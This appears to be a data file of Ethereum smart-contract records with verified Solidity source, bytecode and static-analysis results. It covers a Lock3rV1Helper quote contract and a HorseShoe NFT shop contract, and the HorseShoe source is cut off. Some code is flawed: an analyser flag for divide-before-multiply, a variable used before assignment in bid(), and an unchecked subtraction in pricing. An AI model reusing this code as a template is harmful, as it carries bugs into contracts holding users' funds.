ffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122097a7c048abff3ae662213e0a247c9806b28042c8d8d4dddf21604ab5e80aa34d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,122 |
0x766909d0c5dec7eeb5deb00746f609e9bc31b6f4
|
/**
*Submitted for verification at Etherscan.io on 2020-11-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IChainLinkFeed {
function latestAnswer() external view returns (int256);
}
interface ILock3rV1 {
function totalBonded() external view returns (uint);
function bonds(address locker, address credit) external view returns (uint);
function votes(address locker) external view returns (uint);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IMiniLock3r {
function isLocker(address) external returns (bool);
function worked(address Locker) external;
function totalBonded() external view returns (uint);
function bonds(address Locker, address credit) external view returns (uint);
function votes(address Locker) external view returns (uint);
function isMinLocker(address Locker, uint minBond, uint earned, uint age) external returns (bool);
function addCreditETH(address job) external payable;
function workedETH(address Locker) external;
}
interface IUniswapV2SlidingOracle {
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint);
}
contract Lock3rV1Helper is Ownable{
using SafeMath for uint;
IChainLinkFeed public constant FASTGAS = IChainLinkFeed(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C);
IMiniLock3r public LK3R;
IUniswapV2SlidingOracle public constant UV2SO = IUniswapV2SlidingOracle(0x061a92584Bc5bc2d91C08818993Ce1411DD34913);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
uint constant public MAX = 15;
uint constant public BASE = 10;
uint constant public SWAP = 300000;
uint constant public TARGETBOND = 250e18; //Incentivises bigger holdings
function quote(uint eth) public view returns (uint) {
return UV2SO.current(address(WETH), eth, address(LK3R));
}
function setToken(address lockertoken) public onlyOwner{
LK3R = IMiniLock3r(lockertoken);
}
function getFastGas() external view returns (uint) {
return uint(FASTGAS.latestAnswer());
}
function bonds(address locker) public view returns (uint) {
return LK3R.bonds(locker, address(LK3R)).add(LK3R.votes(locker));
}
function getQuoteLimitFor(address origin, uint gasUsed) public view returns (uint) {
uint _min = quote((gasUsed.add(SWAP)).mul(uint(FASTGAS.latestAnswer())));
uint _boost = _min.mul(MAX).div(BASE); // increase by 2.5
uint _bond = Math.min(bonds(origin), TARGETBOND);
return Math.max(_min, _boost.mul(_bond).div(TARGETBOND));
}
function getQuoteLimit(uint gasUsed) external view returns (uint) {
return getQuoteLimitFor(tx.origin, gasUsed);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063904440bd116100a2578063dbbc4a5711610071578063dbbc4a57146101f7578063ec342ad0146101ff578063ed1bd76c14610207578063f2fde38b14610224578063fe10d7741461024a5761010b565b8063904440bd146101d757806395f9dac2146101df578063ad5c4648146101e7578063d49d5181146101ef5761010b565b8063525ea631116100de578063525ea631146101a2578063715018a6146101bf5780638da5cb5b146101c75780638e686d56146101cf5761010b565b80630421d7f21461011057806304d841081461014e578063144fa6d7146101565780634d8ea0de1461017e575b600080fd5b61013c6004803603604081101561012657600080fd5b506001600160a01b038135169060200135610270565b60408051918252519081900360200190f35b61013c610371565b61017c6004803603602081101561016c57600080fd5b50356001600160a01b0316610378565b005b610186610404565b604080516001600160a01b039092168252519081900360200190f35b61013c600480360360208110156101b857600080fd5b5035610413565b61017c61041f565b6101866104d3565b61013c6104e2565b61013c6104ef565b61018661056f565b610186610587565b61013c61059f565b6101866105a4565b61013c6105bc565b61013c6004803603602081101561021d57600080fd5b50356105c1565b61017c6004803603602081101561023a57600080fd5b50356001600160a01b0316610675565b61013c6004803603602081101561026057600080fd5b50356001600160a01b031661077f565b60008061030a61030573169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b50516102ff86620493e061087e565b906108c8565b6105c1565b90506000610324600a61031e84600f6108c8565b90610920565b905060006103436103348761077f565b680d8d726b7177a8000061094b565b905061036583610360680d8d726b7177a8000061031e86866108c8565b610961565b93505050505b92915050565b620493e081565b610380610971565b6000546001600160a01b039081169116146103e2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b600061036b3283610270565b610427610971565b6000546001600160a01b03908116911614610489576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b680d8d726b7177a8000081565b600073169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561053e57600080fd5b505afa158015610552573d6000803e3d6000fd5b505050506040513d602081101561056857600080fd5b5051905090565b73061a92584bc5bc2d91c08818993ce1411dd3491381565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600f81565b73169e633a2d1e6c10dd91238ba11c4a708dfef37c81565b600a81565b600154604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018490526001600160a01b0390921660448301525160009173061a92584bc5bc2d91c08818993ce1411dd349139163a75d39c291606480820192602092909190829003018186803b15801561064357600080fd5b505afa158015610657573d6000803e3d6000fd5b505050506040513d602081101561066d57600080fd5b505192915050565b61067d610971565b6000546001600160a01b039081169116146106df576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107245760405162461bcd60e51b8152600401808060200182810382526026815260200180610a186026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546040805163d8bff5a560e01b81526001600160a01b038481166004830152915160009361036b93169163d8bff5a5916024808301926020929190829003018186803b1580156107d057600080fd5b505afa1580156107e4573d6000803e3d6000fd5b505050506040513d60208110156107fa57600080fd5b50516001546040805163a39744b560e01b81526001600160a01b038781166004830152909216602483018190529051909163a39744b5916044808301926020929190829003018186803b15801561085057600080fd5b505afa158015610864573d6000803e3d6000fd5b505050506040513d602081101561087a57600080fd5b5051905b6000828201838110156108c1576040805162461bcd60e51b81526020600482015260066024820152656164643a202b60d01b604482015290519081900360640190fd5b9392505050565b6000826108d75750600061036b565b828202828482816108e457fe5b04146108c1576040805162461bcd60e51b815260206004820152600660248201526536bab61d101560d11b604482015290519081900360640190fd5b60006108c18383604051806040016040528060068152602001656469763a202f60d01b815250610975565b600081831061095a57816108c1565b5090919050565b60008183101561095a57816108c1565b3390565b60008183610a015760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109c65781810151838201526020016109ae565b50505050905090810190601f1680156109f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610a0d57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e24ad8f5abdab6d08314ffb188df8b399b69d93541c2eae7c44af9fab399b1db64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,123 |
0x8e43d7a5c4b2de24b728deff0e666fe674b3ca91
|
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId); //Einbauen!
}
contract HorseShoeControl {
address public ceoAddress=0xC6F3Fb72db068C96A1D50Bbc3D370cC8e4af0bFc;
address public ctoAddress=0x73A895C06D6E3DcCA3acE48FC8801E17eD247f85;
modifier onCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyC() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
_;
}
address public raceDistCon;
address public addr_forge;
function newForgeCon (address newConAddr) external onCTO {
addr_forge = newConAddr;
}
function newRaceDistCon (address newConAddr) external onCTO {
raceDistCon = newConAddr;
}
}
contract HorseShoeShopOwner is HorseShoeControl, ERC721 {
mapping (uint256 => address) public HShoeShopO;
mapping (uint256 => uint256) public HSShopPrice;
mapping (uint256 => bool) public HSShopForSale;
mapping (uint256 => bool) public HSShopForBiding;
mapping (address => uint256) HSShopOwnCount;
uint256 public HSShopSaleFee = 20;
mapping (uint256 => uint256) startBlock;
mapping (uint256 => uint256) startPrice;
mapping (uint256 => uint256) public priceDecreaseRate;
function getCurrentItemPrice(uint256 _id) public view returns (uint256) {
return startPrice[_id] - priceDecreaseRate[_id]*(block.number - startBlock[_id]);
}
function newPriceDecreaseRate(uint DecreRate,uint256 _id) external onlyC {
priceDecreaseRate[_id]=DecreRate;
}
function changeHSShopPrice(uint256 price, uint256 HSShopId) external{
require(msg.sender==HShoeShopO[HSShopId]);
require(HSShopForSale[HSShopId]==true);
require(price!=0);
HSShopPrice[HSShopId]=price;
}
function buyHSShop(uint256 id) payable external{
require(HSShopForSale[id]==true);
uint256 price = HSShopPrice[id];
require(price<=msg.value);
uint256 Fee = price / HSShopSaleFee ;
uint256 oPrice= price - Fee;
address _to = msg.sender;
address _from = HShoeShopO[id];
HSShopOwnCount[_to]++;
HShoeShopO[id] = _to;
HSShopForSale[id]=false;
HSShopOwnCount[_from]--;
emit Transfer(_from, _to, id);
if(_from!=0){
_from.transfer(oPrice);
}else{
ceoAddress.transfer(oPrice);
}
ceoAddress.transfer(Fee);
uint256 buyExcess = msg.value - oPrice - Fee;
_to.transfer(buyExcess);
}
function firstSellHSShop(uint256 _id, uint256 price, uint256 _decreRate) external onlyC {
require(HShoeShopO[_id]==0);
HSShopPrice[_id]=price;
HSShopForBiding[_id]=true;
startBlock[_id] = block.number;
startPrice[_id] = price;
priceDecreaseRate[_id]= _decreRate;
}
function bid(uint256 _id) payable external{
uint256 priceNow = getCurrentItemPrice(_id);
require(msg.value>=priceNow);
require(HSShopForBiding[_id]==true);
if(priceNow<=0||priceNow>=startPrice[_id]){
HSShopForBiding[_id]=false;
_to.transfer( msg.value);
}else{
HSShopForBiding[_id]=false;
address _to = msg.sender;
address _from = HShoeShopO[_id];
HSShopOwnCount[_to]++;
HShoeShopO[_id] = _to;
HSShopForSale[_id]=true;
uint256 priceAufschlag=msg.value/3;
HSShopPrice[_id]=msg.value+ priceAufschlag;
emit Transfer(_from, _to, _id);
ceoAddress.transfer(priceNow);
uint256 buyExcess = msg.value - priceNow;
_to.transfer(buyExcess);
}
}
function setHSShopSaleFee(uint256 val) external onCTO {
HSShopSaleFee = val;
}
}
contract HorseShoeBasis is HorseShoeShopOwner {
event Birth(address owner, uint256 HorseShoeId);
event Transfer(address from, address to, uint256 tokenId);
struct HorseShoe {
uint256 dna2;
uint256 dna3;
bool dna4;
bool dna5;
}
HorseShoe[] horseShoes;
mapping (uint256 => address) horseShoeOwnerIndex;
mapping (uint256 => uint256) public horseShoeIndexPrice;
mapping (uint256 => uint256) public processingQuality;
mapping (uint256 => uint256) public WearOut;
mapping (uint256 => bool) horseShoeIndexForSale;
mapping (address => uint256) tokenOwnershipCount;
mapping (uint256 => bool) raceListed;
uint256 public saleFee = 20;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
tokenOwnershipCount[_to]++;
horseShoeOwnerIndex[_tokenId] = _to;
if (_from != address(0)) {
tokenOwnershipCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
}
function transfer10( address _to, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3, uint256 _tokenId4, uint256 _tokenId5, uint256 _tokenId6, uint256 _tokenId7, uint256 _tokenId8, uint256 _tokenId9, uint256 _tokenId10 ) external onlyC {
require(_to != address(0));
require(_to != address(this));
require( horseShoeOwnerIndex[_tokenId1] == msg.sender );
_transfer(msg.sender, _to, _tokenId1);
require( horseShoeOwnerIndex[_tokenId2] == msg.sender );
_transfer(msg.sender, _to, _tokenId2);
require( horseShoeOwnerIndex[_tokenId3] == msg.sender );
_transfer(msg.sender, _to, _tokenId3);
require( horseShoeOwnerIndex[_tokenId4] == msg.sender );
_transfer(msg.sender, _to, _tokenId4);
require( horseShoeOwnerIndex[_tokenId5] == msg.sender );
_transfer(msg.sender, _to, _tokenId5);
require( horseShoeOwnerIndex[_tokenId6] == msg.sender );
_transfer(msg.sender, _to, _tokenId6);
require( horseShoeOwnerIndex[_tokenId7] == msg.sender );
_transfer(msg.sender, _to, _tokenId7);
require( horseShoeOwnerIndex[_tokenId8] == msg.sender );
_transfer(msg.sender, _to, _tokenId8);
require( horseShoeOwnerIndex[_tokenId9] == msg.sender );
_transfer(msg.sender, _to, _tokenId9);
require( horseShoeOwnerIndex[_tokenId10] == msg.sender );
_transfer(msg.sender, _to, _tokenId10);
}
function _sell(address _from, uint256 _tokenId, uint256 value) internal {
if(horseShoeIndexForSale[_tokenId]==true){
uint256 price = horseShoeIndexPrice[_tokenId];
require(price<=value);
uint256 Fee = price / saleFee /2;
uint256 oPrice= price - Fee - Fee;
address _to = msg.sender;
tokenOwnershipCount[_to]++;
horseShoeOwnerIndex[_tokenId] = _to;
horseShoeIndexForSale[_tokenId]=false;
if (_from != address(0)) {
tokenOwnershipCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
uint256 HSQ = processingQuality[_tokenId]/10;
address HSSOwner;
if(HSQ>=10||WearOut[_tokenId]>=1){
HSSOwner= HShoeShopO[6];
}else if(HSQ>=0&&HSQ<=2){
HSSOwner= HShoeShopO[5];
}else if(HSQ>=2&&HSQ<=4){
HSSOwner= HShoeShopO[4];
} else if(HSQ>=4&&HSQ<=6){
HSSOwner= HShoeShopO[3];
} else if(HSQ>=6&&HSQ<=8){
HSSOwner= HShoeShopO[2];
